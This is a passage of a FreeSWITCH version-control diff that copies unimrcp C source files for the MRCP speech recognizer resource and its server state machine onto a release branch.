+			recog_header->ver_buffer_utterance = src_recog_header->ver_buffer_utterance;
+			break;
+		case RECOGNIZER_HEADER_RECOGNITION_MODE:
+			apt_string_copy(&recog_header->recognition_mode,&src_recog_header->recognition_mode,pool);
+			break;
+		case RECOGNIZER_HEADER_CANCEL_IF_QUEUE:
+			recog_header->cancel_if_queue = src_recog_header->cancel_if_queue;
+			break;
+		case RECOGNIZER_HEADER_HOTWORD_MAX_DURATION:
+			recog_header->hotword_max_duration = src_recog_header->hotword_max_duration;
+			break;
+		case RECOGNIZER_HEADER_HOTWORD_MIN_DURATION:
+			recog_header->hotword_min_duration = src_recog_header->hotword_min_duration;
+			break;
+		case RECOGNIZER_HEADER_INTERPRET_TEXT:
+			apt_string_copy(&recog_header->interpret_text,&src_recog_header->interpret_text,pool);
+			break;
+		case RECOGNIZER_HEADER_DTMF_BUFFER_TIME:
+			recog_header->dtmf_buffer_time = src_recog_header->dtmf_buffer_time;
+			break;
+		case RECOGNIZER_HEADER_CLEAR_DTMF_BUFFER:
+			recog_header->clear_dtmf_buffer = src_recog_header->clear_dtmf_buffer;
+			break;
+		case RECOGNIZER_HEADER_EARLY_NO_MATCH:
+			recog_header->early_no_match = src_recog_header->early_no_match;
+			break;
+		default:
+			status = FALSE;
+	}
+	return status;
+}
+
+static APR_INLINE const apt_str_table_item_t* recog_header_string_table_get(mrcp_version_e version)
+{
+	if(version == MRCP_VERSION_1) {
+		return v1_recog_header_string_table;
+	}
+	return v2_recog_header_string_table;
+}
+
+static const mrcp_header_vtable_t v1_vtable = {
+	mrcp_recog_header_allocate,
+	NULL, /* nothing to destroy */
+	mrcp_v1_recog_header_parse,
+	mrcp_v1_recog_header_generate,
+	mrcp_recog_header_duplicate,
+	v1_recog_header_string_table,
+	RECOGNIZER_HEADER_COUNT
+};
+
+static const mrcp_header_vtable_t v2_vtable = {
+	mrcp_recog_header_allocate,
+	NULL, /* nothing to destroy */
+	mrcp_v2_recog_header_parse,
+	mrcp_v2_recog_header_generate,
+	mrcp_recog_header_duplicate,
+	v2_recog_header_string_table,
+	RECOGNIZER_HEADER_COUNT
+};
+
+MRCP_DECLARE(const mrcp_header_vtable_t*) mrcp_recog_header_vtable_get(mrcp_version_e version)
+{
+	if(version == MRCP_VERSION_1) {
+		return &v1_vtable;
+	}
+	return &v2_vtable;
+}
+
+MRCP_DECLARE(const apt_str_t*) mrcp_recog_completion_cause_get(mrcp_recog_completion_cause_e completion_cause, mrcp_version_e version)
+{
+	const apt_str_table_item_t *table = v2_completion_cause_string_table;
+	if(version == MRCP_VERSION_1) {
+		table = v1_completion_cause_string_table;
+	}
+
+	return apt_string_table_str_get(table,RECOGNIZER_COMPLETION_CAUSE_COUNT,completion_cause);
+}

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/mrcp/resources/src/mrcp_recog_resource.c

Copied: freeswitch/branches/seven/libs/unimrcp/libs/mrcp/resources/src/mrcp_recog_resource.c (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/mrcp/resources/src/mrcp_recog_resource.c) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/mrcp/resources/src/mrcp_recog_resource.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/mrcp/resources/src/mrcp_recog_resource.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,143 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "mrcp_recog_resource.h"
+#include "mrcp_recog_header.h"
+#include "mrcp_recog_state_machine.h"
+#include "mrcp_resource.h"
+#include "mrcp_message.h"
+
+/** String table of MRCP recognizer methods (mrcp_recognizer_method_id) */
+static const apt_str_table_item_t v1_recog_method_string_table[] = {
+	{{"SET-PARAMS",               10},10},
+	{{"GET-PARAMS",               10},10},
+	{{"DEFINE-GRAMMAR",           14},0},
+	{{"RECOGNIZE",                 9},7},
+	{{"GET-RESULT",               10},4},
+	{{"RECOGNITION-START-TIMERS", 24},7},
+	{{"STOP",                      4},1}
+};
+
+/** String table of mrcpv2 recognizer methods (mrcp_recognizer_method_id) */
+static const apt_str_table_item_t v2_recog_method_string_table[] = {
+	{{"SET-PARAMS",               10},10},
+	{{"GET-PARAMS",               10},10},
+	{{"DEFINE-GRAMMAR",           14},0},
+	{{"RECOGNIZE",                 9},7},
+	{{"GET-RESULT",               10},4},
+	{{"START-INPUT-TIMERS",       18},2},
+	{{"STOP",                      4},2}
+};
+
+/** String table of MRCP recognizer events (mrcp_recognizer_event_id) */
+static const apt_str_table_item_t v1_recog_event_string_table[] = {
+	{{"START-OF-SPEECH",          15},0},
+	{{"RECOGNITION-COMPLETE",     20},0}
+};
+
+/** String table of mrcpv2 recognizer events (mrcp_recognizer_event_id) */
+static const apt_str_table_item_t v2_recog_event_string_table[] = {
+	{{"START-OF-INPUT",           14},0},
+	{{"RECOGNITION-COMPLETE",     20},0}
+};
+
+
+static APR_INLINE const apt_str_table_item_t* recog_method_string_table_get(mrcp_version_e version)
+{
+	if(version == MRCP_VERSION_1) {
+		return v1_recog_method_string_table;
+	}
+	return v2_recog_method_string_table;
+}
+
+static APR_INLINE const apt_str_table_item_t* recog_event_string_table_get(mrcp_version_e version)
+{
+	if(version == MRCP_VERSION_1) {
+		return v1_recog_event_string_table;
+	}
+	return v2_recog_event_string_table;
+}
+
+/** Set resource specifica data */
+static apt_bool_t recog_message_resourcify_by_id(mrcp_resource_t *resource, mrcp_message_t *message)
+{
+	/* associate method_name and method_id */
+	if(message->start_line.message_type == MRCP_MESSAGE_TYPE_REQUEST) {
+		const apt_str_t *name = apt_string_table_str_get(
+			recog_method_string_table_get(message->start_line.version),
+			RECOGNIZER_METHOD_COUNT,
+			message->start_line.method_id);
+		if(!name) {
+			return FALSE;
+		}
+		message->start_line.method_name = *name;
+	}
+	else if(message->start_line.message_type == MRCP_MESSAGE_TYPE_EVENT) {
+		const apt_str_t *name = apt_string_table_str_get(
+			recog_event_string_table_get(message->start_line.version),
+			RECOGNIZER_EVENT_COUNT,
+			message->start_line.method_id);
+		if(!name) {
+			return FALSE;
+		}
+		message->start_line.method_name = *name;
+	}
+
+	message->header.resource_header_accessor.vtable = mrcp_recog_header_vtable_get(message->start_line.version);
+	return TRUE;
+}
+
+/** Set resource specifica data */
+static apt_bool_t recog_message_resourcify_by_name(mrcp_resource_t *resource, mrcp_message_t *message)
+{
+	/* associate method_name and method_id */
+	if(message->start_line.message_type == MRCP_MESSAGE_TYPE_REQUEST) {
+		message->start_line.method_id = apt_string_table_id_find(
+			recog_method_string_table_get(message->start_line.version),
+			RECOGNIZER_METHOD_COUNT,
+			&message->start_line.method_name);
+		if(message->start_line.method_id >= RECOGNIZER_METHOD_COUNT) {
+			return FALSE;
+		}
+	}
+	else if(message->start_line.message_type == MRCP_MESSAGE_TYPE_EVENT) {
+		message->start_line.method_id = apt_string_table_id_find(
+			recog_event_string_table_get(message->start_line.version),
+			RECOGNIZER_EVENT_COUNT,
+			&message->start_line.method_name);
+		if(message->start_line.method_id >= RECOGNIZER_EVENT_COUNT) {
+			return FALSE;
+		}
+	}
+
+	message->header.resource_header_accessor.vtable = mrcp_recog_header_vtable_get(message->start_line.version);
+	return TRUE;
+}
+
+
+/** Create MRCP recognizer resource */
+MRCP_DECLARE(mrcp_resource_t*) mrcp_recog_resource_create(apr_pool_t *pool)
+{
+	mrcp_resource_t *resource = apr_palloc(pool,sizeof(mrcp_resource_t));
+	mrcp_resource_init(resource);
+
+	resource->resourcify_message_by_id = recog_message_resourcify_by_id;
+	resource->resourcify_message_by_name = recog_message_resourcify_by_name;
+
+	resource->create_client_state_machine = mrcp_recog_client_state_machine_create;
+	resource->create_server_state_machine = mrcp_recog_server_state_machine_create;
+	return resource;
+}

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/mrcp/resources/src/mrcp_recog_server_state_machine.c

Copied: freeswitch/branches/seven/libs/unimrcp/libs/mrcp/resources/src/mrcp_recog_server_state_machine.c (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/mrcp/resources/src/mrcp_recog_server_state_machine.c) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/mrcp/resources/src/mrcp_recog_server_state_machine.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/mrcp/resources/src/mrcp_recog_server_state_machine.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,510 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "apt_obj_list.h"
+#include "apt_log.h"
+#include "mrcp_state_machine.h"
+#include "mrcp_recog_state_machine.h"
+#include "mrcp_recog_header.h"
+#include "mrcp_generic_header.h"
+#include "mrcp_recog_resource.h"
+#include "mrcp_message.h"
+
+/** MRCP recognizer states */
+typedef enum {
+	RECOGNIZER_STATE_IDLE,
+	RECOGNIZER_STATE_RECOGNIZING,
+	RECOGNIZER_STATE_RECOGNIZED,
+
+	RECOGNIZER_STATE_COUNT
+} mrcp_recog_state_e;
+
+static const char * state_names[RECOGNIZER_STATE_COUNT] = {
+	"IDLE",
+	"RECOGNIZING",
+	"RECOGNIZED"
+};
+
+typedef struct mrcp_recog_state_machine_t mrcp_recog_state_machine_t;
+struct mrcp_recog_state_machine_t {
+	/** state machine base */
+	mrcp_state_machine_t  base;
+	/** recognizer state */
+	mrcp_recog_state_e    state;
+	/** indicate whether active_request was processed from pending request queue */
+	apt_bool_t            is_pending;
+	/** request sent to recognition engine and waiting for the response to be received */
+	mrcp_message_t       *active_request;
+	/** in-progress recognize request */
+	mrcp_message_t       *recog;
+	/** queue of pending recognition requests */
+	apt_obj_list_t       *queue;
+	/** properties used in set/get params */
+	mrcp_message_header_t properties;
+};
+
+typedef apt_bool_t (*recog_method_f)(mrcp_recog_state_machine_t *state_machine, mrcp_message_t *message);
+
+static APR_INLINE apt_bool_t recog_request_dispatch(mrcp_recog_state_machine_t *state_machine, mrcp_message_t *message)
+{
+	state_machine->active_request = message;
+	return state_machine->base.on_dispatch(&state_machine->base,message);
+}
+
+static APR_INLINE apt_bool_t recog_response_dispatch(mrcp_recog_state_machine_t *state_machine, mrcp_message_t *message)
+{
+	state_machine->active_request = NULL;
+	if(state_machine->base.active == FALSE) {
+		/* this is the response to deactivation (STOP) request */
+		return state_machine->base.on_deactivate(&state_machine->base);
+	}
+	return state_machine->base.on_dispatch(&state_machine->base,message);
+}
+
+static APR_INLINE apt_bool_t recog_event_dispatch(mrcp_recog_state_machine_t *state_machine, mrcp_message_t *message)
+{
+	if(state_machine->base.active == FALSE) {
+		/* do nothing, state machine has already been deactivated */
+		return FALSE;
+	}
+	return state_machine->base.on_dispatch(&state_machine->base,message);
+}
+
+static APR_INLINE void recog_state_change(mrcp_recog_state_machine_t *state_machine, mrcp_recog_state_e state)
+{
+	apt_log(APT_LOG_MARK,APT_PRIO_INFO,"State Transition %s -> %s",state_names[state_machine->state],state_names[state]);
+	state_machine->state = state;
+	if(state == RECOGNIZER_STATE_IDLE) {
+		state_machine->recog = NULL;
+	}
+}
+
+
+static apt_bool_t recog_request_set_params(mrcp_recog_state_machine_t *state_machine, mrcp_message_t *message)
+{
+	apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Process SET-PARAMS Request [%d]",message->start_line.request_id);
+	mrcp_message_header_set(&state_machine->properties,&message->header,message->pool);
+	return recog_request_dispatch(state_machine,message);
+}
+
+static apt_bool_t recog_response_set_params(mrcp_recog_state_machine_t *state_machine, mrcp_message_t *message)
+{
+	apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Process SET-PARAMS Response [%d]",message->start_line.request_id);
+	return recog_response_dispatch(state_machine,message);
+}
+
+static apt_bool_t recog_request_get_params(mrcp_recog_state_machine_t *state_machine, mrcp_message_t *message)
+{
+	apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Process GET-PARAMS Request [%d]",message->start_line.request_id);
+	return recog_request_dispatch(state_machine,message);
+}
+
+static apt_bool_t recog_response_get_params(mrcp_recog_state_machine_t *state_machine, mrcp_message_t *message)
+{
+	apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Process GET-PARAMS Response [%d]",message->start_line.request_id);
+	mrcp_message_header_set(&message->header,&state_machine->active_request->header,message->pool);
+	mrcp_message_header_get(&message->header,&state_machine->properties,message->pool);
+	return recog_response_dispatch(state_machine,message);
+}
+
+static apt_bool_t recog_request_define_grammar(mrcp_recog_state_machine_t *state_machine, mrcp_message_t *message)
+{
+	if(state_machine->state == RECOGNIZER_STATE_RECOGNIZING) {
+		mrcp_message_t *response_message = mrcp_response_create(message,message->pool);
+		response_message->start_line.status_code = MRCP_STATUS_CODE_METHOD_NOT_VALID;
+		return recog_response_dispatch(state_machine,response_message);
+	}
+	else if(state_machine->state == RECOGNIZER_STATE_RECOGNIZED) {
+		recog_state_change(state_machine,RECOGNIZER_STATE_IDLE);
+	}
+
+	apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Process DEFINE-GRAMMAR Request [%d]",message->start_line.request_id);
+	return recog_request_dispatch(state_machine,message);
+}
+
+static apt_bool_t recog_response_define_grammar(mrcp_recog_state_machine_t *state_machine, mrcp_message_t *message)
+{
+	apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Process DEFINE-GRAMMAR Response [%d]",message->start_line.request_id);
+	if(mrcp_resource_header_property_check(message,RECOGNIZER_HEADER_COMPLETION_CAUSE) != TRUE) {
+		mrcp_recog_header_t *recog_header = mrcp_resource_header_prepare(message);
+		recog_header->completion_cause = RECOGNIZER_COMPLETION_CAUSE_SUCCESS;
+		mrcp_resource_header_property_add(message,RECOGNIZER_HEADER_COMPLETION_CAUSE);
+	}
+	return recog_response_dispatch(state_machine,message);
+}
+
+static apt_bool_t recog_request_recognize(mrcp_recog_state_machine_t *state_machine, mrcp_message_t *message)
+{
+	mrcp_message_header_inherit(&message->header,&state_machine->properties,message->pool);
+	if(state_machine->state == RECOGNIZER_STATE_RECOGNIZING) {
+		mrcp_message_t *response;
+		apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Queue Up RECOGNIZE Request [%d]",message->start_line.request_id);
+		message->start_line.request_state = MRCP_REQUEST_STATE_PENDING;
+		apt_list_push_back(state_machine->queue,message,message->pool);
+		
+		response = mrcp_response_create(message,message->pool);
+		response->start_line.request_state = MRCP_REQUEST_STATE_PENDING;
+		return recog_response_dispatch(state_machine,response);
+	}
+
+	apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Process RECOGNIZE Request [%d]",message->start_line.request_id);
+	return recog_request_dispatch(state_machine,message);
+}
+
+static apt_bool_t recog_response_recognize(mrcp_recog_state_machine_t *state_machine, mrcp_message_t *message)
+{
+	apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Process RECOGNIZE Response [%d]",message->start_line.request_id);
+	if(message->start_line.request_state == MRCP_REQUEST_STATE_INPROGRESS) {
+		state_machine->recog = state_machine->active_request;
+		recog_state_change(state_machine,RECOGNIZER_STATE_RECOGNIZING);
+	}
+	if(state_machine->is_pending == TRUE) {
+		state_machine->is_pending = FALSE;
+		/* not to send the response for pending request */
+		return TRUE;
+	}
+	return recog_response_dispatch(state_machine,message);
+}
+
+static apt_bool_t recog_request_get_result(mrcp_recog_state_machine_t *state_machine, mrcp_message_t *message)
+{
+	mrcp_message_t *response_message;
+	if(state_machine->state == RECOGNIZER_STATE_RECOGNIZED) {
+		/* found recognized request */
+		apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Process GET-RESULT Request [%d]",message->start_line.request_id);
+		return recog_request_dispatch(state_machine,message);
+	}
+
+	/* found no recognized request */
+	response_message = mrcp_response_create(message,message->pool);
+	response_message->start_line.status_code = MRCP_STATUS_CODE_METHOD_NOT_VALID;
+	return recog_response_dispatch(state_machine,response_message);
+}
+
+static apt_bool_t recog_response_get_result(mrcp_recog_state_machine_t *state_machine, mrcp_message_t *message)
+{
+	apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Process GET-RESULT Response [%d]",message->start_line.request_id);
+	return recog_response_dispatch(state_machine,message);
+}
+
+static apt_bool_t recog_request_recognition_start_timers(mrcp_recog_state_machine_t *state_machine, mrcp_message_t *message)
+{
+	mrcp_message_t *response_message;
+	if(state_machine->state == RECOGNIZER_STATE_RECOGNIZING) {
+		/* found in-progress request */
+		apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Process START-INPUT-TIMERS Request [%d]",message->start_line.request_id);
+		return recog_request_dispatch(state_machine,message);
+	}
+
+	/* found no in-progress request */
+	response_message = mrcp_response_create(message,message->pool);
+	response_message->start_line.status_code = MRCP_STATUS_CODE_METHOD_NOT_VALID;
+	return recog_response_dispatch(state_machine,response_message);
+}
+
+static apt_bool_t recog_response_recognition_start_timers(mrcp_recog_state_machine_t *state_machine, mrcp_message_t *message)
+{
+	apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Process START-INPUT-TIMERS Response [%d]",message->start_line.request_id);
+	return recog_response_dispatch(state_machine,message);
+}
+
+static apt_bool_t recog_pending_requests_remove(mrcp_recog_state_machine_t *state_machine, mrcp_message_t *request_message, mrcp_message_t *response_message)
+{
+	apt_list_elem_t *elem;
+	mrcp_message_t *pending_message;
+	mrcp_request_id_list_t *request_id_list = NULL;
+	mrcp_generic_header_t *generic_header = mrcp_generic_header_get(request_message);
+	mrcp_generic_header_t *response_generic_header = mrcp_generic_header_prepare(response_message);
+	if(generic_header && mrcp_generic_header_property_check(request_message,GENERIC_HEADER_ACTIVE_REQUEST_ID_LIST) == TRUE) {
+		if(generic_header->active_request_id_list.ids && generic_header->active_request_id_list.count) {
+			/* selective STOP request */
+			request_id_list = &generic_header->active_request_id_list;
+		}
+	}
+
+	elem = apt_list_first_elem_get(state_machine->queue);
+	while(elem) {
+		pending_message = apt_list_elem_object_get(elem);
+		if(!request_id_list || active_request_id_list_find(generic_header,pending_message->start_line.request_id) == TRUE) {
+			apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Remove Pending RECOGNIZE Request [%d]",pending_message->start_line.request_id);
+			elem = apt_list_elem_remove(state_machine->queue,elem);
+			/* append active id list */
+			active_request_id_list_append(response_generic_header,pending_message->start_line.request_id);
+		}
+		else {
+			/* speak request remains in the queue, just proceed to the next one */
+			elem = apt_list_next_elem_get(state_machine->queue,elem);
+		}
+	}
+	if(response_generic_header->active_request_id_list.count) {
+		mrcp_generic_header_property_add(response_message,GENERIC_HEADER_ACTIVE_REQUEST_ID_LIST);
+	}
+	return TRUE;
+}
+
+static apt_bool_t recog_request_stop(mrcp_recog_state_machine_t *state_machine, mrcp_message_t *message)
+{
+	mrcp_message_t *response_message;
+	if(state_machine->state == RECOGNIZER_STATE_RECOGNIZING) {
+		mrcp_request_id_list_t *request_id_list = NULL;
+		mrcp_generic_header_t *generic_header = mrcp_generic_header_get(message);
+		if(generic_header && mrcp_generic_header_property_check(message,GENERIC_HEADER_ACTIVE_REQUEST_ID_LIST) == TRUE) {
+			if(generic_header->active_request_id_list.ids && generic_header->active_request_id_list.count) {
+				/* selective STOP request */
+				request_id_list = &generic_header->active_request_id_list;
+			}
+		}
+
+		if(!request_id_list || active_request_id_list_find(generic_header,state_machine->recog->start_line.request_id) == TRUE) {
+			/* found in-progress RECOGNIZE request, stop it */
+			apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Process STOP Request [%d]",message->start_line.request_id);
+			return recog_request_dispatch(state_machine,message);
+		}
+	}
+	else if(state_machine->state == RECOGNIZER_STATE_RECOGNIZED) {
+		recog_state_change(state_machine,RECOGNIZER_STATE_IDLE);
+	}
+
+	/* found no in-progress RECOGNIZE request, sending immediate response */
+	response_message = mrcp_response_create(message,message->pool);
+	recog_pending_requests_remove(state_machine,message,response_message);
+	return recog_response_dispatch(state_machine,response_message);
+}
+
+static apt_bool_t recog_response_stop(mrcp_recog_state_machine_t *state_machine, mrcp_message_t *message)
+{
+	mrcp_message_t *pending_request;
+	mrcp_generic_header_t *generic_header = mrcp_generic_header_prepare(message);
+	apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Process STOP Response [%d]",message->start_line.request_id);
+	/* append active id list */
+	active_request_id_list_append(generic_header,state_machine->recog->start_line.request_id);
+	mrcp_generic_header_property_add(message,GENERIC_HEADER_ACTIVE_REQUEST_ID_LIST);
+	recog_pending_requests_remove(state_machine,state_machine->active_request,message);
+	recog_state_change(state_machine,RECOGNIZER_STATE_IDLE);
+	pending_request = apt_list_pop_front(state_machine->queue);
+	recog_response_dispatch(state_machine,message);
+
+	/* process pending RECOGNIZE requests / if any */
+	if(pending_request) {
+		apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Process Pending RECOGNIZE Request [%d]",pending_request->start_line.request_id);
+		state_machine->is_pending = TRUE;
+		recog_request_dispatch(state_machine,pending_request);
+	}
+	return TRUE;
+}
+
+static apt_bool_t recog_event_start_of_input(mrcp_recog_state_machine_t *state_machine, mrcp_message_t *message)
+{
+	if(!state_machine->recog) {
+		/* unexpected event, no in-progress recognition request */
+		return FALSE;
+	}
+
+	if(state_machine->recog->start_line.request_id != message->start_line.request_id) {
+		/* unexpected event */
+		return FALSE;
+	}
+	
+	apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Process START-OF-INPUT Event [%d]",message->start_line.request_id);
+	message->start_line.request_state = MRCP_REQUEST_STATE_INPROGRESS;
+	return recog_event_dispatch(state_machine,message);
+}
+
+static apt_bool_t recog_event_recognition_complete(mrcp_recog_state_machine_t *state_machine, mrcp_message_t *message)
+{
+	mrcp_message_t *pending_request;
+	if(!state_machine->recog) {
+		apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Unexpected RECOGNITION-COMPLETE Event [%d]",message->start_line.request_id);
+		return FALSE;
+	}
+
+	if(state_machine->recog->start_line.request_id != message->start_line.request_id) {
+		apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Unexpected RECOGNITION-COMPLETE Event [%d]",message->start_line.request_id);
+		return FALSE;
+	}
+
+	if(state_machine->active_request && state_machine->active_request->start_line.method_id == RECOGNIZER_STOP) {
+		apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Ignore RECOGNITION-COMPLETE Event [%d]: waiting for STOP response",message->start_line.request_id);
+		return FALSE;
+	}
+
+	apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Process RECOGNITION-COMPLETE Event [%d]",message->start_line.request_id);
+	if(mrcp_resource_header_property_check(message,RECOGNIZER_HEADER_COMPLETION_CAUSE) != TRUE) {
+		mrcp_recog_header_t *recog_header = mrcp_resource_header_prepare(message);
+		recog_header->completion_cause = RECOGNIZER_COMPLETION_CAUSE_SUCCESS;
+		mrcp_resource_header_property_add(message,RECOGNIZER_HEADER_COMPLETION_CAUSE);
+	}
+	recog_state_change(state_machine,RECOGNIZER_STATE_RECOGNIZED);
+	recog_event_dispatch(state_machine,message);
+
+	/* process pending RECOGNIZE requests */
+	pending_request = apt_list_pop_front(state_machine->queue);
+	if(pending_request) {
+		apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Process Pending RECOGNIZE Request [%d]",pending_request->start_line.request_id);
+		state_machine->is_pending = TRUE;
+		recog_request_dispatch(state_machine,pending_request);
+	}
+	return TRUE;
+}
+
+static recog_method_f recog_request_method_array[RECOGNIZER_METHOD_COUNT] = {
+	recog_request_set_params,
+	recog_request_get_params,
+	recog_request_define_grammar,
+	recog_request_recognize,
+	recog_request_get_result,
+	recog_request_recognition_start_timers,
+	recog_request_stop
+};
+
+static recog_method_f recog_response_method_array[RECOGNIZER_METHOD_COUNT] = {
+	recog_response_set_params,
+	recog_response_get_params,
+	recog_response_define_grammar,
+	recog_response_recognize,
+	recog_response_get_result,
+	recog_response_recognition_start_timers,
+	recog_response_stop
+};
+
+static recog_method_f recog_event_method_array[RECOGNIZER_EVENT_COUNT] = {
+	recog_event_start_of_input,
+	recog_event_recognition_complete
+};
+
+/** Update state according to received incoming request from MRCP client */
+static apt_bool_t recog_request_state_update(mrcp_recog_state_machine_t *state_machine, mrcp_message_t *message)
+{
+	recog_method_f method;
+	if(message->start_line.method_id >= RECOGNIZER_METHOD_COUNT) {
+		return FALSE;
+	}
+	
+	method = recog_request_method_array[message->start_line.method_id];
+	if(method) {
+		return method(state_machine,message);
+	}
+	return recog_request_dispatch(state_machine,message);
+}
+
+/** Update state according to received outgoing response from recognition engine */
+static apt_bool_t recog_response_state_update(mrcp_recog_state_machine_t *state_machine, mrcp_message_t *message)
+{
+	recog_method_f method;
+	if(!state_machine->active_request) {
+		/* unexpected response, no active request waiting for response */
+		return FALSE;
+	}
+	if(state_machine->active_request->start_line.request_id != message->start_line.request_id) {
+		/* unexpected response, request id doesn't match */
+		return FALSE;
+	}
+
+	if(message->start_line.method_id >= RECOGNIZER_METHOD_COUNT) {
+		return FALSE;
+	}
+	
+	method = recog_response_method_array[message->start_line.method_id];
+	if(method) {
+		return method(state_machine,message);
+	}
+	return recog_response_dispatch(state_machine,message);
+}
+
+/** Update state according to received outgoing event from recognition engine */
+static apt_bool_t recog_event_state_update(mrcp_recog_state_machine_t *state_machine, mrcp_message_t *message)
+{
+	recog_method_f method;
+	if(message->start_line.method_id >= RECOGNIZER_EVENT_COUNT) {
+		return FALSE;
+	}
+	
+	method = recog_event_method_array[message->start_line.method_id];
+	if(method) {
+		return method(state_machine,message);
+	}
+	return recog_event_dispatch(state_machine,message);
+}
+
+/** Update state according to request received from MRCP client or response/event received from recognition engine */
+static apt_bool_t recog_state_update(mrcp_state_machine_t *base, mrcp_message_t *message)
+{
+	mrcp_recog_state_machine_t *state_machine = (mrcp_recog_state_machine_t*)base;
+	apt_bool_t status = TRUE;
+	switch(message->start_line.message_type) {
+		case MRCP_MESSAGE_TYPE_REQUEST:
+			status = recog_request_state_update(state_machine,message);
+			break;
+		case MRCP_MESSAGE_TYPE_RESPONSE:
+			status = recog_response_state_update(state_machine,message);
+			break;
+		case MRCP_MESSAGE_TYPE_EVENT:
+			status = recog_event_state_update(state_machine,message);
+			break;
+		default:
+			status = FALSE;
+			break;
+	}
+	return status;
+}
+
+/** Deactivate state machine */
+static apt_bool_t recog_state_deactivate(mrcp_state_machine_t *base)
+{
+	mrcp_recog_state_machine_t *state_machine = (mrcp_recog_state_machine_t*)base;
+	mrcp_message_t *message;
+	mrcp_message_t *source;
+	if(state_machine->state != RECOGNIZER_STATE_RECOGNIZING) {
+		/* no in-progress RECOGNIZE request to deactivate */
+		return FALSE;
+	}
+	source = state_machine->recog;
+	if(!source) {
+		return FALSE;
+	}
+
+	/* create internal STOP request */
+	message = mrcp_request_create(
+						source->channel_id.resource_id,
+						RECOGNIZER_STOP,
+						source->pool);
+	message->channel_id = source->channel_id;
+	message->start_line.request_id = source->start_line.request_id + 1;
+	apt_string_set(&message->start_line.method_name,"DEACTIVATE"); /* informative only */
+	message->header = source->header;
+	apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Create and Process STOP Request [%d]",message->start_line.request_id);
+	return recog_request_dispatch(state_machine,message);
+}
+
+/** Create MRCP recognizer server state machine */
+mrcp_state_machine_t* mrcp_recog_server_state_machine_create(void *obj, mrcp_version_e version, apr_pool_t *pool)
+{
+	mrcp_message_header_t *properties;
+	mrcp_recog_state_machine_t *state_machine = apr_palloc(pool,sizeof(mrcp_recog_state_machine_t));
+	mrcp_state_machine_init(&state_machine->base,obj);
+	state_machine->base.update = recog_state_update;
+	state_machine->base.deactivate = recog_state_deactivate;
+	state_machine->state = RECOGNIZER_STATE_IDLE;
+	state_machine->is_pending = FALSE;
+	state_machine->active_request = NULL;
+	state_machine->recog = NULL;
+	state_machine->queue = apt_list_create(pool);
+	properties = &state_machine->properties;
+	mrcp_message_header_init(properties);
+	properties->generic_header_accessor.vtable = mrcp_generic_header_vtable_get(version);
+	properties->resource_header_accessor.vtable = mrcp_recog_header_vtable_get(version);
+	return &state_machine->base;
+}

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/mrcp/resources/src/mrcp_synth_client_state_machine.c

Copied: freeswitch/branches/seven/libs/unimrcp/libs/mrcp/resources/src/mrcp_synth_client_state_machine.c (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/mrcp/resources/src/mrcp_synth_client_state_machine.c) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/mrcp/resources/src/mrcp_synth_client_state_machine.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/mrcp/resources/src/mrcp_synth_client_state_machine.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,36 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
